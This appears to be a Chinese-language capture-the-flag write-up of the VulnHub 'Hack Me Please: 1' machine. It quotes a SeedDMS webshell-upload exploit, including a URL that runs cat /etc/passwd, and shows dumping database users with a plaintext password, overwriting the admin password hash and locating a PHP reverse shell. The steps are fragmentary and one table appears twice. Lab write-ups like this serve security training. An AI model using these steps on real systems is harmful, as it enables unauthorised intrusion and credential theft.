vulnhub刷题记录（Hack Me Please: 1）

Most hackers are young because young people tend to be adaptable. As long as you remain adaptable, you can always be a good hacker."
-Emmanuel Goldstein
大多数黑客都很年轻，因为年轻人往往适应能力强。 只要你保持适应能力，你就永远可以成为一名优秀的黑客。
——伊曼纽尔·戈德斯坦

searchsploit SeedDMS 

─# find / -name "47022.txt" 2>/dev/null
/usr/share/exploitdb/exploits/php/webapps/47022.txt
                                                                                                      
Step 1: Login to the application and under any folder add a document.
登录到应用程序并在任何文件夹下添加一个文档。
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.
选择文档作为简单的 php 后门文件，或者可以使用任何后门/webshell。
Step 3: Now after uploading the file check the document id corresponding to the document.
现在上传文件后检查与文档对应的文档ID。
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.
现在转到 example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd 以在浏览器中获取命令响应。
 
Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.   
注意：这里的“data”和“1048576”是保存上传文件的默认文件夹。

dbDatabase="seeddms" 
dbUser="seeddms" 
dbPass="seeddms" 

use seeddms;
show tables;
select * from users;
+-------------+---------------------+--------------------+-----------------+
| Employee_id | Employee_first_name | Employee_last_name | Employee_passwd |
+-------------+---------------------+--------------------+-----------------+
|           1 | saket               | saurav             | Saket@#$1337    |
+-------------+---------------------+--------------------+-----------------+

undefined

└─# echo -n 'ailx10'|md5sum|cut -d ' ' -f1
83b70504e0d8742dd5b66e6962eb8a35
 
update tblUsers set pwd="83b70504e0d8742dd5b66e6962eb8a35" where login="admin";
select login,pwd from tblUsers;

└─# find / -name "php-reverse-shell.php" 2>/dev/null   
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/tmp/mozilla_ailx100/php-reverse-shell.php

select * from users;
+-------------+---------------------+--------------------+-----------------+
| Employee_id | Employee_first_name | Employee_last_name | Employee_passwd |
+-------------+---------------------+--------------------+-----------------+
|           1 | saket               | saurav             | Saket@#$1337    |
+-------------+---------------------+--------------------+-----------------+